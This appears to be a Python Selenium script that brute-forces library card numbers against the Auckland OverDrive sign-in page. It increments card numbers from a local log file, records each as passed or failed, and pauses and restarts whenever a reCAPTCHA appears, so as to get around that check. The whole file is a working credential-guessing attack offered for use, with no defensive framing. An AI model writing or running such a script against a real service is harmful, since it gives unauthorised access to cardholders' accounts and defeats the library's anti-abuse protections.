- ## auck-lib checker
- import time
- from selenium import webdriver
- from selenium.common.exceptions import NoSuchElementException
- def main():
- driver = webdriver.Chrome(PATH_TO_CHROMEDRIVER_BINARY)
- tries = 1
- while tries < 100:
- driver.get('https://auckland.overdrive.com/account/sign-in?forward=/')
- try:
- iframe = driver.find_element_by_xpath('//*[@id="library-login-form"]/div[4]/div/div/div/iframe')
- if not iframe:
- pass
- else:
- print('Found ReCaptcha. Breaking out of loop.\n')
- print('Restarting the loop in 300 secs.\n')
- driver.quit()
- time.sleep(300)
- main()
- except NoSuchElementException as e:
- pass
- driver.find_element_by_xpath('//*[@id="username"]').click()
- f_read = open("D:\\auck_lib.txt", "r")
- last_line = f_read.readlines()[-1]
- last = last_line.strip()
- f_read.close()
- try:
- card_ = last.replace(' passed.', '')
- card = int(card_)+int(1)
- except ValueError as e:
- card_ = last.replace(' failed.', '')
- card = int(card_)+int(1)
- driver.find_element_by_xpath('//*[@id="username"]').send_keys(str(card))
- driver.find_element_by_xpath('//*[@id="create-account"]').click()
- time.sleep(2)
- try:
- successPage = driver.find_element_by_id('account-holder-name')
- if successPage:
- print('{} passed.'.format(str(card)))
- f = open("D:\\auck_lib.txt","a")
- f.write('%s passed.\n' % card)
- f.close()
- successPage.click()
- driver.find_element_by_class_name('Nav-accountMenuSignOutLink').click()
- else:
- pass
- time.sleep(2)
- except NoSuchElementException as e:
- print('{} failed.'.format(str(card)))
- f = open("D:\\auck_lib.txt","a")
- f.write('%s failed.\n' % card)
- f.close()
- main()